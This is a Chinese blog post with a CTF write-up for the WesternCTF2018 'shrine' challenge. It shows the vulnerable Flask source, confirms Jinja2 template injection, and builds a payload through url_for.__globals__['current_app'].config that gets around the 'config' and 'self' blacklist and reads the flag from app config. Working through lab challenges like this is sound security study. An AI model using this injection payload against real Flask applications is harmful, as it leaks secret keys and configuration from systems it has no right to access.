[WesternCTF2018]shrine

[WesternCTF2018]shrine

aprubXEaMAB2E-tjW-iAWRbCX0Mh9Es82SOxKzVeHFo

代码整理后得到

import flask
<!-- more -->

import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
    return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)

第6行看到FLAG,用os.environ取出Linux系统中的FLAG变量赋值给了app.config

所以目标是读app.config

接着又定义了shrine/path:shrine,查看路由文件,很显然需要访问/shrine,flask模板,看看是否有模板注入,在路径后添加注入,{{7*7}}

OlN12bYxlqTb8a1LFPJQHInjyquviRkBSLwaQvhj6CE

因此存在SSTI漏洞。

就存在ssti漏洞。

这个值会经过一个黑名单和替换,过滤了(),config,self

构造payload,不适用黑名单内的字符,读取app.config

判断模板类型:

LXqBWMWzBo_A0y94yu-qR5_TA-6Yq4AJSJrSruzVfIA

大概可以知道是jinja2或者Twig。一般读取config都是直接{{config}}就能读取到配置文件

但是这里过滤了config,只能通过其他入手。然而bypass黑名单内执行命令,requests对象绕过也不行。

在flask中有4中全局变量

1:current_app

代表当前flask程序实例

2:g

g作为flask程序全局的一个临时变量。充当媒介的功能

3:requests对象

客户端发送的HTTP请求内容

4:session

用户会话

在这题中有点关系的也就current_app了。因为g是个临时变量等会就没了。而current_app是flask的实例,所有和flask有关的都会放在current_app里面

python还有一个函数叫做url_for,其作用是url是用于构建指定函数的URL,再配合globals(),该函数会以字典类型返回当前位置的全部全局变量。这样也可以实现查看的效果

/shrine/{{url_for.__globals__}}

mqENffmJ6-8ADiXJUd13g-_fSX1AlLrdbczRMSUIAVw

这样我们只需要能查看到这个的config就可以看到flag了,构造payload

/shrine/{{url_for.__globals__['current_app'].config}}

nB2gVyKuxQBiVuGk3FXAuhRq0CPy7EKuRTBIs0i7XGo

posted on 2024-04-07 14:41  跳河离去的鱼  阅读(93)  评论(0编辑  收藏  举报